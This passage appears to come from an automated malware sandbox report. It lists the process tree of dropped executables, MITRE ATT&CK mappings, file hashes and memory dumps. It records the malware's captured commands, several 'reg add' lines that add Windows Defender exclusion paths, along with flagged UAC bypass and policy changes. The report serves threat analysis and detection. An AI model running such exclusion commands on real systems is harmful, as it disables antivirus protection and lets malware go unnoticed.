- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4204

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4304

C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe
"C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5132

C:\Program Files (x86)\v4evL6\v4evL6.exe
"C:\Program Files (x86)\v4evL6\v4evL6.exe"
1⤵
- Executes dropped EXE
PID:4680

C:\Program Files (x86)\v4evL6\v4evL6.exe
"C:\Program Files (x86)\v4evL6\v4evL6.exe"
1⤵
- Executes dropped EXE
PID:5212

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\v4evL6" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\v4evL6" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5888

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1724

C:\ProgramData\HB6rIfmK.exe
C:\ProgramData\HB6rIfmK.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\ProgramData\3YLUasBo\GrOcS3OF.exe
C:\ProgramData\3YLUasBo\GrOcS3OF.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:5300

C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe 1776
1⤵
- Executes dropped EXE
PID:968

C:\Program Files (x86)\v4evL6\v4evL6.exe
"C:\Program Files (x86)\v4evL6\v4evL6.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1104

C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe
"C:\Program Files (x86)\e5aY31Q7j\3ltqn2AP.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\e5aY31Q7j\XPSPLOG.dll
Size 4.6MB
SHA256 3dc5f8c56712d3749815139ac8f47bb71b5d5e351acfba5e80133d0160e05380
MD5 c98b5d83bc32bc53c065c5aaa4d28e12
SHA1 6333ab1373eba991b28b733ad4bc073c955da9e1
SHA512 2f3b1b85e826561f23ab26802023f95188f6aa5a815fcd7546565ce58082859529d6b0316624c88b7e56d300ad848cd2a9618f9b6aef94cf50410921e741f45d
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy7:BMWKfU+BcUTHCCCfqCiUffn7
TLSH
T1D6263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\e5aY31Q7j\image.png
Size 4.8MB
SHA256 87046a728a36d905f0781b50a11943c6b33dad9a0d4f3c36fc01928eb2c6ffe3
MD5 0366051e253465a220bf826e2d2d0e5e
SHA1 d30b13ce08376d8ea5bd87c04bfb7d345367da97
SHA512 83afef4431b5cfb2fd515e272f74018686e7489ddd9c0ffdb04bdbb3dec094a443a6a63479cc11905f7e47916e5cdb1e729676a173025c7c9170f8e28eec7299
SSDEEP 98304:G/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:GMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1DD36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\v4evL6\XPSPLOG.dll
Size 4.6MB
SHA256 9be437ebc3d40591898b45cff8df9b187c6a378fc1d87b806b0e650c44c0b158
MD5 427239be005229885dc928efc63ce2cd
SHA1 7a8722862d6fb2f1d52c2b2b7b3be2b693904e22
SHA512 edb3e6d88e721ea0122c7c3eae682c6d62eda42762ac2cdb052609bd581310a2f45a61f8719cc4af16655c15deb70d25f133f86b071ccbf4b04c8a4ace5ced7f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy+:BMWKfU+BcUTHCCCfqCiUffn+
TLSH
T125263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\v4evL6\image.png
Size 4.8MB
SHA256 4fea7122aa7c3096e66c58e0813086f169cd103ff7079d827753ebd4672868bb
MD5 a972a266c25e5421cb36958feb745d89
SHA1 522f1ff1ce6d531796763aae00e497fcd98054fb
SHA512 06822268955e6aa52b4ce498136869365e31889300055ba15295f8e5048224e99a61670369567ab977e644e0f46769c3a675293d82c57c8d6595e2974738af28
SSDEEP 98304:i/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:iMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1F436334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\v4evL6\thumbs.db
Size 358KB
SHA256 597e92f6e74bc5d44973eede2907553689f19c5e2ab963c5290c1e74c17c26b6
MD5 620ee14cf3f2b83b29427c0ba41f440b
SHA1 9fdc9c987656cdc6e3b32db8f02bc9ceda0a2391
SHA512 f1b87afa52582c95bb6a021243b82174b9eec975ff76ddeb29eebcc3b115f9f02826ac6026dae5070b45308aefa28582d56c44c3b73cb685056d5c9967ee1010
SSDEEP 6144:6iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:l8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T17F74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v4evL6.exe

Path C:\Program Files (x86)\v4evL6\v4evL6.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.dat

Path C:\ProgramData\3YLUasBo\GrOcS3OF.dat
Size 56KB
SHA256 4bc7b7f2c861e14a683635210aa08e3d1ab14f0f5799f8225227277bbfc3a956
MD5 90cc0c3f69e0b799bd7f921712bd482c
SHA1 0a13a53fa5ef30dd8c2a7d80c57d1c5d1158b2d6
SHA512 564e87e7fbe8e3db35d063312a54d84733dbfb2b121bcb85fc42388685e8b1878396841b7ff5ef8f77e7b92f77deeab3d84947b7e3c4bb5e34d9710c1547177d
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJY0:LsUL1PSkbvG2pkze2GY0
TLSH
T11F43020AD5F17B3ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.exe

Path C:\ProgramData\3YLUasBo\GrOcS3OF.exe
Size 475KB
SHA256 28dbef0ecbfd4aa1d7235cfc22f0c774ee6ca2f97fd0c675390c0ea9f4e07bc8
MD5 47381ab471ba193b77e6ba844ce64668
SHA1 db19bd90a553d6bf091086ce6575c5ec9a8528b1
SHA512 7bbbbd97b8ef0a502f56a7bf2795c00e749029b399ec9b0da1ae004e390bf656847facfcd294d0be95a43b664cf77923b284044058268781aa52e64c0fd0ac90
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/M:gthTiP+ffCfB5Lf0F7Z1EDsVM
TLSH
T19EA42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.png

Path C:\ProgramData\3YLUasBo\GrOcS3OF.png
Size 167KB
SHA256 8ec86c3c4678e9790f0a3c1ceab6629b38a67ce67a98ca4e330fc94a351bb221
MD5 29e28d523c6b8f47158836f58b6a27be
SHA1 5c2fc77e60172e9343ddc0d22deef378f02e3762
SHA512 391e3ff8a91ced88633e3b3c9529b4c274c29494dd9598e85b87c904e66dd8d1f8beabecd33f78fc1534ed04389ce9a0d593477dc7509c5cdbdc3cf812d7e6aa
SSDEEP 3072:XxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:RH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T162F3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HB6rIfmK.exe

Path C:\ProgramData\HB6rIfmK.exe
Size 2.5MB
SHA256 ad24b6c60e8d7927e660a3f1735e511eb7a5569628c17b2664c053dc925b4e07
MD5 57dcf4b30023bd01cb468843728f033a
SHA1 5f305648c7e40668da06a304636b67c470585f89
SHA512 c07b86cd8e9045804b9886432023a4652ddc3ca78286f51293d0764485c3358333fbb45f2f28f3c7b1449a155fa36b846ddcd44236e84dafc7b1cca77a2e01ff
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJB+:Pm0+0PjTVGvEvvojLSSviYB+
TLSH
T10BC523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yHDc9ZDz.exe

Path C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
Size 663KB
SHA256 9b6922ec46ba944a68c51f8487210ee72c99dc4e5285b2baa0260d43ec7b6be4
MD5 9a15cd0aa6d43381e45c40890917fe61
SHA1 f5c98ea9d47ee72fb17e3f54c9f1a3a735199af3
SHA512 da7fa1b130582b8ef235b18e1309cd3956672ee5d579975324608a3daa4d75896c66566782b9dcb3ef6bcde0e1534fb8ac89797298a048f9f0d513af1c0a3e31
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgbF:hpYF/e5icRQjV3pRR2AobllO
TLSH
T120E423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 ff517e765714c89d37d1b564ebbcc2b6dfb6a1721a5459746ab87ad3e2a29cb2
MD5 9752747450a8a589cabd32f721bd49ef
SHA1 3c3482bc9a44f4dabb75d3f6d83bc0fabea13971
SHA512 d4e762d675976d408c6031bc146c3bb0f15b5cbea89a1dcac011b517dfb18b015fba3018bab0919664bffde605830fbe42ebd471bd9c24e93b34792916309c23
TLSH
T17321E99F4B772580FF815F0323C5D63E2EB267C158ED245A412685892A10BA63A3F65E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 fed83c57ff4e9a638ace53cc7e2e1e4c190a6988411c36ad651fed869667e6b8
MD5 e17bd22d75d63b83264479e998e80661
SHA1 6aa28d0d8ef1c26e53d49c3e380c10722fb004ac
SHA512 b5919fbeb5f3bff9a3b470cd336a14e0ab4753971acc75fb2757eeb8700b8a9df88ec39ac227252707879546a503faae8008cc2e1a8a7dcc349d2725bc5f6069
TLSH
T16021E98796363012D703CD4925CCFF7238F2E6D552CC1918701FD2E509113E39A0D919
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 c767b58f7b29490520e17c08133b70aa12fc319463fbd11731488002c7b85b55
MD5 bf0fc694b1426d5531f06fe8d2255944
SHA1 4ff061bd3b53df1889490d403ee25dd3b86bb409
SHA512 b513bf429b119ddb3dc1205d9ab96993eef0e0b33e2034ff5f73948803c3d6b16eb92ce0d109f7704be4feb27c3c26ef35bb8ac51f8647349a5c0fcd8d78c088
TLSH
T15B21B9A3447C24842745DD8B5893DFF33D70F6DEAD5474106465609DAD183C3AF0C5CA
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 2dd366a41a250e3e007ed00894c4e28f5abbfa36a87d5436219e656945c0c322
MD5 509be2a95462e8c9a02c41128f3ddd35
SHA1 574ff3ae43aea1a1216f542df2779e18e5ab0887
SHA512 a44defe56af6804e0ffea9ba13223676431e6d6cade05be942591f34ddeff4a9a4ce5f3e9a7c2fa91dc99501bd9227e2e6babff8ec703b61add54ab412d80313
TLSH
T129F05C2C59B9412FF033CD790BC938D78B7FF602740549A026F4870CBA45E056D6197A
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 5ce8643fe2654ea5e62fba14ddb532dacf820c3cb673345a063a2de7cbd8a892
MD5 17d2ae2130f8eb8ead096e0c5269554f
SHA1 f81e69b4d25dfe698ee3facb980fffd779ce99cf
SHA512 ec26f7a0e3a60118d00fb595ac10035197074509ab5cbc031bb5fd13aeafd246105ed0fd7294dc6ca9b167a8a889b9664e6b7d236fe85ed6c16df69e9c554abb
TLSH
T14CF0971C89F4911AF13FCB7862E123E68A1B74131A0506FE199907186B12F002C42279
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 dc26c17373d6085c38b88cc62ad2f246a3bb64d3a00e6a9a1958dd21479f68aa
MD5 a9a6dc9a6f027c974b461c2eb1842acd
SHA1 9a763473697ad1adc77b7e340feb62daeeb86d7a
SHA512 c895230d9123111cd8f1d70ef7f60a6f013cca6563ced6a3c343690e04728a47f78c798729cde9f03a5317f3270882ed0f1a4361ed8e6da05beab7303149db0d
TLSH
T15BF02E2C667D45AEF1B3DD341EC471B6486BF555B50185A80FA6431C7F54F006CD2B29
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0ti2genj.2qk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ti2genj.2qk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

JrDbHS.exe

Path C:\Users\Public\Buescp\JrDbHS.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Buescp\UxEnhance64.dll
Size 3.1MB
SHA256 a6c825c8d470ab58f6d5dbc6d2e33e7d1bd78726cc97ba1257737785193e44db
MD5 8fd6eaeb3f89c9d3be018768f5a26685
SHA1 6c8a4e0fa48da3ea7a024396b34094fb5d2e5f9c
SHA512 59e032a439ad8b0b4b8945605df7c3e235b6a9a79773016f87fd0b8b17aea4cb69faa8b31e4cfd014992b234e30e86383101e0436aa60a3570150b94590bde92
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+Y:P9m29xx3Tiqt06ox6+z2rNNrKoY
TLSH
T1B0E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Buescp\adoresd.dat
Size 4.7MB
SHA256 72cf9750d1f65f03b5a5db9b7dd3dc8541555f699bffb447f6cd1a5ea7492233
MD5 8aa399950011ddb8603aa22c1a254ee2
SHA1 6211896c68ff74fbb6671405a141a5bda0038ede
SHA512 bbdfd0d94e2a77c16163bc459c5af189566c11041c5763a818590d0c272737657ee9e4a9963cb2826b150dc00af7cce8a76440405cb3b374f67b43e429bd6bd1
SSDEEP 98304:sKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:sKClqhi0Cv54K2IVS0VQg
TLSH
T1ED3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Buescp\msadox.tb
Size 8KB
SHA256 330a0ef1f9238dfa87bf50235a1739ec76a67f533ae8a9d55159ddeb1d374967
MD5 7020adcdf1cb16b33f7379f053c914e7
SHA1 0c04563b1dd01966fb2da5d4d6e8cc0ce0601d1b
SHA512 07e947ff04729b26aa9ab02415bc9969fcdbf2af8fe2bb6e655f7ad52660732536f77dba5acd2c1908824ca0712a44eb243c1fe4491f3b4a8ab26d79224b9994
SSDEEP 192:nqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:nsZqZOXQ3uqvR2Kfzp
TLSH
T1BD029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

memory/968-832-0x00007FF6AEFC0000-0x00007FF6AF3EF000-memory.dmp

Download

memory/968-834-0x000001C372180000-0x000001C3721A0000-memory.dmp

Download

memory/968-863-0x00007FF6AEFC0000-0x00007FF6AF3EF000-memory.dmp

Download

memory/1104-840-0x0000000000E20000-0x0000000000E21000-memory.dmp

Download

memory/1104-841-0x0000000074DA0000-0x00000000754EA000-memory.dmp

Download

memory/1104-848-0x0000000003600000-0x0000000003DDD000-memory.dmp

Download

memory/1104-857-0x0000000003600000-0x0000000003DDD000-memory.dmp

Download

memory/1104-861-0x0000000000E20000-0x0000000000E21000-memory.dmp

Download

memory/1104-856-0x0000000000E40000-0x0000000000E41000-memory.dmp

Download

memory/1188-784-0x0000000000F50000-0x0000000001377000-memory.dmp

Download

memory/3224-525-0x00007FFC722A0000-0x00007FFC722B0000-memory.dmp

Download

memory/3224-1-0x0000000000020000-0x000000000002E000-memory.dmp

Download

memory/3224-2-0x00000000001D0000-0x00000000001DC000-memory.dmp

Download

memory/3224-504-0x00007FFC722A0000-0x00007FFC722B0000-memory.dmp

Download

memory/3224-0-0x0000000000020000-0x000000000002E000-memory.dmp

Download

memory/3224-524-0x0000000000020000-0x000000000002E000-memory.dmp

Download

memory/3356-674-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-666-0x0000000000D30000-0x0000000000D31000-memory.dmp

Download

memory/3356-671-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-673-0x0000000001050000-0x0000000001051000-memory.dmp

Download

memory/3356-753-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-741-0x00000000068B0000-0x00000000068E4000-memory.dmp

Download

memory/3356-678-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-685-0x0000000002A50000-0x0000000002A64000-memory.dmp

Download

memory/3356-667-0x0000000074DA0000-0x00000000754EA000-memory.dmp

Download

memory/3356-693-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3356-696-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-715-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3356-717-0x0000000003460000-0x0000000003C3D000-memory.dmp

Download

memory/3872-845-0x0000000072180000-0x00000000728CA000-memory.dmp

Download

memory/3872-853-0x0000000003130000-0x000000000390D000-memory.dmp

Download

memory/3872-858-0x00000000009C0000-0x00000000009C1000-memory.dmp

Download

memory/3872-844-0x00000000009C0000-0x00000000009C1000-memory.dmp

Download

memory/3872-850-0x0000000003130000-0x000000000390D000-memory.dmp

Download

memory/3872-852-0x00000000009E0000-0x00000000009E1000-memory.dmp

Download

memory/4392-783-0x0000000006C50000-0x0000000006CF3000-memory.dmp

Download

memory/4392-772-0x0000000006A10000-0x0000000006A42000-memory.dmp

Download

memory/4392-774-0x000000006ED00000-0x000000006ED4C000-memory.dmp

Download

memory/4392-782-0x0000000006000000-0x000000000601E000-memory.dmp

Download

memory/4392-771-0x0000000005A80000-0x0000000005ACC000-memory.dmp

Download

memory/4392-785-0x00000000073A0000-0x0000000007A1A000-memory.dmp

Download

memory/4392-792-0x0000000006F60000-0x0000000006F71000-memory.dmp

Download

memory/4392-751-0x0000000002140000-0x0000000002176000-memory.dmp

Download

memory/4392-752-0x0000000004C40000-0x0000000005268000-memory.dmp

Download

memory/4392-790-0x0000000006FE0000-0x0000000007076000-memory.dmp

Download

memory/4392-755-0x0000000004B70000-0x0000000004B92000-memory.dmp

Download

memory/4392-756-0x0000000005370000-0x00000000053D6000-memory.dmp

Download

memory/4392-757-0x00000000053E0000-0x0000000005446000-memory.dmp

Download

memory/4392-787-0x0000000006D60000-0x0000000006D7A000-memory.dmp

Download

memory/4392-763-0x0000000005450000-0x00000000057A4000-memory.dmp

Download

memory/4392-789-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

Download

memory/4392-770-0x0000000005A40000-0x0000000005A5E000-memory.dmp

Download

memory/5076-584-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5076-587-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5076-581-0x00007FFC5ED20000-0x00007FFC5F23E000-memory.dmp

Download

memory/5076-591-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5076-586-0x00007FFC7B200000-0x00007FFC7B202000-memory.dmp

Download

memory/5076-593-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5076-595-0x00007FFC7B1F0000-0x00007FFC7B1F2000-memory.dmp

Download

memory/5076-592-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5076-594-0x0000021FFA720000-0x0000021FFAFA7000-memory.dmp

Download

memory/5132-728-0x0000000072A80000-0x00000000731CA000-memory.dmp

Download

memory/5132-732-0x0000000003610000-0x0000000003DED000-memory.dmp

Download

memory/5132-727-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/5132-735-0x0000000003610000-0x0000000003DED000-memory.dmp

Download

memory/5132-738-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/5132-734-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

Download

memory/5300-798-0x0000000000400000-0x000000000053F000-memory.dmp

Download

memory/5300-835-0x0000000000400000-0x000000000053F000-memory.dmp

Download

memory/5300-817-0x0000000002500000-0x0000000002501000-memory.dmp

Download

memory/5300-819-0x0000000010000000-0x000000001002E000-memory.dmp

Download

memory/5300-823-0x0000000010000000-0x000000001002E000-memory.dmp

Download

memory/5676-565-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-556-0x000001B505FC0000-0x000001B50604A000-memory.dmp

Download

memory/5676-557-0x000001B505FC0000-0x000001B50604A000-memory.dmp

Download

memory/5676-564-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-558-0x000001B505FC0000-0x000001B50604A000-memory.dmp

Download

memory/5676-555-0x000001B5046B0000-0x000001B5046FE000-memory.dmp

Download

memory/5676-559-0x000001B505FC0000-0x000001B50604A000-memory.dmp

Download

memory/5676-550-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-546-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-544-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-545-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-543-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-540-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

memory/5676-538-0x00007FFC7B200000-0x00007FFC7B202000-memory.dmp

Download

memory/5676-536-0x000001B5069E0000-0x000001B507267000-memory.dmp

Download

